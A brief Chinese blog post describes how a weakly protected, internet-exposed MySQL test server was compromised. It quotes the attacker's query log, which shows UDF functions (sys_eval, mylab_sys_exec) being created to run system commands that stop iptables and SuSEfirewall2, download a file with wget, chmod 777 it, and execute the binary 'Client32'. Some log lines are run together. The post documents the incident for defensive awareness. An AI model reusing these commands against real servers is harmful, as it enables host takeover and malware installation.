mysql udf安全_mysql中UDF引入的安全问题

一个测试库,由于之前部署的时候没注意它有公网地址,因此密码也设得比较简单,直接把root密码设为123456,没想到很快就被扫描后登进去了,还建了一个用户,试图利用mysql udf取得机器系统权限。如下:

108883 Query    CREATE FUNCTION sys_eval RETURNS string SONAME'mysqludf.so'

108883 Query    CREATE FUNCTION sys_eval RETURNS string SONAME'mysqludf64.so'

108883 Query    CREATE FUNCTION sys_eval RETURNS string SONAME'lib_mysqludf.so'

108883 Query    CREATE FUNCTION sys_eval RETURNS string SONAME'udf.so'

108883 Query    CREATE FUNCTION sys_eval RETURNS string SONAME'xiaoji64.so'

108883 Query    CREATE FUNCTION sys_eval RETURNS string SONAME'xiaoji.so'

108883 Query    CREATE FUNCTION sys_eval RETURNS string SONAME'liunx32.so'

108883 Query    CREATE FUNCTION sys_evalRETURNS string SONAME 'liunx64.so'

108883 Query    create function sys_eval returns string soname"lib_mysqludf_sys.so"

108883 Query    CREATE FUNCTION mylab_sys_exec RETURNS INTEGERSONAME "mylab_sys_exec.so"

108883 Query    system chmod +x Client32

108883 Query    system chmod 777 Client32

system ./Client32

108883 Query    select sys_eval("/etc/init.d/iptablesstop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget-c

108883 Query    SELECT mylab_sys_exec(/etc/init.d/iptables stop

108883 Query    service iptables stop

108883 Query    SuSEfirewall2 stop

108883 Query    reSuSEfirewall2 stop

151208 10:09:40108883 Query    chmod 777 Client32

108883 Query    ./Client32

108883 Query    ");

关于UDF提权是咋回事,这里不细说了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值